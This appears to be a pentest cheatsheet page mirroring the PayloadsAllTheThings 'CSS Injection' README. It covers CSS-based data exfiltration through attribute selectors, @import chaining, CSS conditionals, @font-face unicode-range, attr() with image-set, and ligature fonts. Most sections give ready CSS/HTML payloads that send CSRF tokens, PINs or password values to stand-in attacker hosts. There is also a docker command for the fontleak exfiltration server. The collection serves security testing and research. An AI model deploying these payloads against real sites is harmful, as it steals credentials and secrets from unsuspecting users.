daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

index.md (10735B)


      1 ---
      2 title: "CSS Injection"
      3 topic: "CSS Injection"
      4 topicSlug: "css-injection"
      5 sourcePath: "CSS Injection/README.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/CSS%20Injection/README.md"
      7 sha: "3ac27901c711"
      8 isReadme: true
      9 ---
     10 
     11 # CSS Injection
     12 
     13 > CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.
     14 
     15 ## Summary
     16 
     17 * [Tools](#tools)
     18 * [Methodology](#methodology)
     19     * [CSS Selectors](#css-selectors)
     20     * [CSS Import at-rule](#css-import-at-rule)
     21     * [CSS Conditionals](#css-conditionals)
     22     * [CSS Font-face at-rule](#css-font-face-at-rule)
     23     * [Attribute Extraction via attr()](#attribute-extraction-via-attr)
     24     * [Ligatures](#ligatures)
     25 * [Labs](#labs)
     26 * [References](#references)
     27 
     28 ## Tools
     29 
     30 * [hackvertor/blind-css-exfiltration](https://github.com/hackvertor/blind-css-exfiltration) - A tool to exfiltrate unknown web pages using Blind CSS.
     31 * [PortSwigger/css-exfiltration](https://github.com/PortSwigger/css-exfiltration) - Collection of CSS based exfiltration techniques.
     32 * [cgvwzq/css-scrollbar-attack](https://github.com/cgvwzq/css-scrollbar-attack) - PoC for leaking text nodes via CSS injection using scrollbars.
     33 * [d0nutptr/sic](https://github.com/d0nutptr/sic) - Sequential Import Chaining for advanced CSS exfiltration.
     34 * [adrgs/fontleak](https://github.com/adrgs/fontleak) - Tool for fast exfiltration of text using only CSS and Ligatures.
     35 
     36 ## Methodology
     37 
     38 ### CSS Selectors
     39 
     40 CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.
     41 
     42 The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.
     43 
     44 * `input[value^=a]` (prefix attribute selector): Selects elements where the value starts with "a".
     45 * `input[value$=a]` (suffix attribute selector): Selects elements where the value ends with "a".
     46 * `input[value*=a]` (substring attribute selector): Selects elements where the value contains "a".
     47 
     48 #### Exfiltration via Background Image
     49 
     50 When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.
     51 
     52 ```css
     53 input[value^="TOKEN_012"] {
     54   background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
     55 }
     56 ```
     57 
     58 ```css
     59 input[name="pin"][value="1234"] {
     60   background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
     61 }
     62 ```
     63 
     64 **Tips:**
     65 
     66 * **Hidden Inputs**: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (`+` or `~`) to style a visible element that appears after the hidden input.
     67 
     68 ```css
     69 input[name="csrf-token"][value^="a"] + input {
     70   background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
     71 }
     72 ```
     73 
     74 * **Has Selector**: The `:has()` pseudo-class allows styling a parent element based on its children.
     75 
     76 ```css
     77 div:has(input[value="1337"]) {
     78   background:url(/collectData?value=1337);
     79 }
     80 ```
     81 
     82 * **Concurrency**: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g., `background`) and the suffix check to another (e.g., `list-style-image` or `border-image`).
     83 
     84 ### CSS Import at-rule
     85 
     86 This technique is known as **Blind CSS Exfiltration**. It relies on importing external stylesheets to trigger callbacks.
     87 
     88 ```html
     89 <style>@import url(http://[ATTACKER.DOMAIN.TLD]/staging?len=32);</style>
     90 <style>@import'//[ATTACKER.DOMAIN.TLD]'</style>
     91 ```
     92 
     93 Frames do not always need to be reloaded to reevaluate CSS. The `@import` rule allows for latency; the browser will process the import and apply the new styles.
     94 
     95 #### Sequential Import Chaining (SIC)
     96 
     97 SIC allows an attacker to chain multiple extraction steps without reloading the page:
     98 
     99 1. Inject an initial `@import` rule pointing to a staging payload.
    100 2. The staging payload holds the connection open (long-polling) while generating the next specific payload.
    101 3. When a CSS rule matches (e.g., a character is found via `background-image`), the browser makes a request.
    102 4. The server detects this request and generates the next `@import` rule to continue the chain.
    103 
    104 ### CSS Conditionals
    105 
    106 #### Inline Style Exfiltration
    107 
    108 This advanced technique leverages CSS conditionals (like `if()`) and variables to perform logic directly within a style attribute.
    109 
    110 Example: Stealing a `data-uid` attribute if it matches a value between 1 and 10.
    111 
    112 ```html
    113 <div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
    114 ```
    115 
    116 ### CSS Font-face at-rule
    117 
    118 > The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla
    119 
    120 The `unicode-range` property allows specific fonts to be used for specific characters. We can abuse this to detect if a specific character is present on the page.
    121 
    122 If the character "A" is present, the browser attempts to load the font from `/?A`. If "C" is not present, that request is never made.
    123 
    124 ```html
    125 <style>
    126 @font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }
    127 @font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }
    128 @font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }
    129 #sensitive-information{ font-family:poc; }
    130 </style>
    131 <p id="sensitive-information">AB</p>
    132 ```
    133 
    134 **Limitations:**
    135 
    136 * It cannot distinguish repeated characters (e.g., "AA" triggers the request once).
    137 * It does not determine the order of characters.
    138 * Despite these limitations, it is a very reliable oracle for checking character existence.
    139 * Chrome checked this as "WontFix": [issues/40083029](https://issues.chromium.org/issues/40083029)
    140 
    141 ### Attribute Extraction via attr()
    142 
    143 The CSS `attr()` function allows CSS to retrieve the value of an attribute of the selected element.  With recent updates (see [Advanced attr()](https://developer.chrome.com/blog/advanced-attr)), this function can be used to extract input's value.
    144 
    145 Target HTML:
    146 
    147 ```html
    148 <html>
    149     <head>
    150         <link rel="stylesheet" href="http://attacker.local/index.css">
    151     </head>
    152     <body>
    153         <input type="text" name="password" value="supersecret">
    154     </body>
    155 </html>
    156 ```
    157 
    158 `index.css` (hosted by attacker):
    159 
    160 ```css
    161 input[name="password"] {
    162   background: image-set(attr(value))
    163 }
    164 ```
    165 
    166 When `image-set()` is used with `attr()`, the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.
    167 
    168 Resulting request on attacker's server:
    169 
    170 ```ps1
    171 10.10.10.10 - - [15/Feb/2026 16:33:21] "GET /supersecret HTTP/1.1" 404 -
    172 ```
    173 
    174 ### Ligatures
    175 
    176 This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout.
    177 
    178 1. Create a custom font with ligatures for target strings.
    179 2. Use media queries or scrollbars to detect if the rendered width of the element has changed.
    180 
    181 ```ps1
    182 docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest
    183 ```
    184 
    185 Payload example using `fontleak` with a custom selector, parent element, and alphabet.
    186 **Warning**: The CSS selector must match exactly one element in the target page.
    187 
    188 ```html
    189 <style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>
    190 ```
    191 
    192 ## Labs
    193 
    194 * [Dojo #25 RootCSS - YesWeHack](https://dojo-yeswehack.com/challenge-of-the-month/dojo-25)
    195 
    196 ## References
    197 
    198 * [0CTF 2023 Writeups - Web - newdiary - aszx87410 - December 11, 2023](https://web.archive.org/web/20260208112931/https://blog.huli.tw/2023/12/11/en/0ctf-2023-writeup/)
    199 * [Bench Press: Leaking Text Nodes with CSS - pspaul - October 20, 2024](https://web.archive.org/web/20250809122224/https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/)
    200 * [Better Exfiltration via HTML Injection - d0nut - April 11, 2019](https://web.archive.org/web/20260206153955/https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
    201 * [Blind CSS Exfiltration: exfiltrate unknown web pages - Gareth Heyes - December 5, 2023](https://web.archive.org/web/20231205201432/https://portswigger.net/research/blind-css-exfiltration)
    202 * [CSS based Attack: Abusing unicode-range of @font-face - Masato Kinugawa - October 23, 2015](https://web.archive.org/web/20260212042745/https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)
    203 * [CSS Data Exfiltration to Steal OAuth Token - - September 13, 2025](https://web.archive.org/web/20250601232405/https://blog.voorivex.team/css-data-exfiltration-to-steal-oauth-token)
    204 * [CSS Injection - xsleaks.dev - May 9, 2025](https://web.archive.org/web/20260114161847/https://xsleaks.dev/docs/attacks/css-injection/)
    205 * [CSS Injection Attacks or how to leak content with <style> - Pepe Vila - September 28, 2025](https://web.archive.org/web/20250928084357/https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)
    206 * [CSS Injection: Attacking with Just CSS (Part 2) - aszx87410 - September 24, 2023](https://web.archive.org/web/20231223213409/https://aszx87410.github.io/beyond-xss/en/ch3/css-injection-2/)
    207 * [Fontleak: exfiltrating text using CSS and Ligatures - Dragos Albastroiu - April 16, 2025](https://web.archive.org/web/20251130021102/https://adragos.ro/fontleak/)
    208 * [How you can steal private data through CSS injection - invicti - April 23, 2018](https://web.archive.org/web/20251107094938/https://www.invicti.com/blog/web-security/private-data-stolen-exploiting-css-injection)
    209 * [Inline Style Exfiltration: leaking data with chained CSS conditionals - Gareth Heyes - August 26, 2025](https://web.archive.org/web/20260226022330/https://portswigger.net/research/inline-style-exfiltration)